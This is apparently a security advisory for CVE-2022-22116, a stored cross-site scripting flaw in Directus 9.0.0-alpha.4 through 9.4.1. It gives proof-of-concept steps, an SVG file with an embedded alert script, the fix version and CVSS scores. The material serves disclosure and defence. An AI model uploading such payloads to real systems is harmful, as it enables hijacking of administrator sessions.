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CVE-2022-22116
Date: January 10, 2022
Overview
In Directus, versions 9.0.0-alpha.4 through 9.4.1 are vulnerable to stored Cross-Site Scripting (XSS) vulnerability via SVG file upload in media upload functionality. A low privileged attacker can inject arbitrary javascript code which will be executed in a victim’s browser when they open the image URL.Details
Directus application is affected by a stored XSS vulnerability via SVG file upload in media upload functionality. The script in the crafted file is executed in a victim’s browser when they open the image URL.PoC Details
Login to the application with a low privileged user.Go to the files section and upload the SVG file with the payload given below.
In a private window, login as administrator. Go to the file library and open the image in a new tab. Notice the XSS gets triggered.
PoC Code
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert('This app is vulnerable to XSS attacks!');
</script>
</svg>
Affected Environments
Github - v9.0.0-alpha.4 through v9.4.1; NPM - 9.0.0-alpha.5 through 9.4.1Prevention
Update to directus version 9.4.2Language: TYPE_SCRIPT
Good to know:
| Base Score: |
|
|---|---|
| Attack Vector (AV): | Network |
| Attack Complexity (AC): | Low |
| Privileges Required (PR): | Low |
| User Interaction (UI): | Required |
| Scope (S): | Changed |
| Confidentiality (C): | Low |
| Integrity (I): | Low |
| Availability (A): | None |
| Base Score: |
|
|---|---|
| Access Vector (AV): | Network |
| Access Complexity (AC): | Medium |
| Authentication (AU): | Single |
| Confidentiality (C): | None |
| Integrity (I): | Partial |
| Availability (A): | None |
| Additional information: |